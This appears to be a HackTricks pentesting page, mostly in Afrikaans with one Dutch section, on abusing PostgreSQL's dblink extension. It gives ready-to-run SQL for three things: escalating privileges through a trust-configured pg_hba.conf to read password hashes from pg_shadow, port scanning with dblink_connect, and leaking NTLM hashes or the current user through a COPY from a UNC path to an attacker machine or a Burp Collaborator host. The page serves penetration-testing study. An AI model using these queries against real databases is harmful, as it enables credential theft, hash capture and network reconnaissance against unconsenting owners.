Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vind meer inligting oor hierdie aanvalle in die oorspronklike dokument.

Aangesien PostgreSQL 9.1, is die installasie van bykomende modules eenvoudig. Geregistreerde uitbreidings soos dblink kan geïnstalleer word met CREATE EXTENSION:

CREATE EXTENSION dblink;

Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer:

Bevoorregte Eskalasie

Die lêer pg_hba.conf kan sleg geconfigureer wees en verbindings toelaat vanaf localhost as enige gebruiker sonder om die wagwoord te weet. Hierdie lêer word tipies gevind in /etc/postgresql/12/main/pg_hba.conf en 'n slegte konfigurasie lyk soos:

local    all    all    trust

Merk op dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te wysig wanneer die admin dit vergeet, so soms kan jy dit vind. Merk ook op dat die lêer pg_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker geskryf kan word.

Hierdie geval is nuttig as jy reeds 'n shell binne die slagoffer het, omdat dit jou sal toelaat om aan te sluit by die postgresql-databasis.

'n Ander moontlike verkeerde konfigurasie bestaan uit iets soos dit:

host    all     all     127.0.0.1/32    trust

Aangesien dit almal vanaf die localhost sal toelaat om na die databasis te verbind as enige gebruiker. In hierdie geval en as die dblink-funksie werk, kan jy voorregte verhoog deur na die databasis te verbind deur middel van 'n reeds gevestigde verbinding en toegang te verkry tot data waarvoor jy nie toegang behoort te hê nie:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Poortskandering

Deur dblink_connect te misbruik, kan jy ook soek na oop poorte. As daardie **funksie nie werk nie, moet jy probeer om dblink_connect_u() te gebruik, aangesien die dokumentasie sê dat dblink_connect_u() identies is aan dblink_connect(), behalwe dat dit nie-supergebruikers sal toelaat om te verbind met enige verifikasiemetode nie_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Let daarop dat voor jy dblink_connect of dblink_connect_u kan gebruik, moet jy moontlik die volgende uitvoer:

CREATE extension dblink;

UNC-paad - NTLM-hash openbaarmaking

Wanneer een gebruiker zich aanmeldt bij een Windows-systeem dat is geconfigureerd voor NTLM-verificatie, wordt er een NTLM-hash gegenereerd op basis van het wachtwoord van de gebruiker. Deze hash kan worden gebruikt om de identiteit van de gebruiker te verifiëren bij andere systemen die NTLM-verificatie ondersteunen.

In sommige gevallen kan een UNC-pad (Universal Naming Convention) worden gebruikt om toegang te krijgen tot gedeelde bronnen op een netwerk. Wanneer een gebruiker een UNC-pad opent, kan de NTLM-hash van de gebruiker worden blootgesteld aan het netwerk.

Een aanvaller kan deze NTLM-hash onderscheppen en proberen deze te kraken om het oorspronkelijke wachtwoord van de gebruiker te achterhalen. Met het oorspronkelijke wachtwoord kan de aanvaller zich voordoen als de gebruiker en mogelijk toegang krijgen tot andere systemen en bronnen.

Om deze kwetsbaarheid te voorkomen, moeten organisaties ervoor zorgen dat NTLM-verificatie veilig wordt geïmplementeerd en dat er geen onnodige blootstelling van NTLM-hashes plaatsvindt via UNC-paden.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated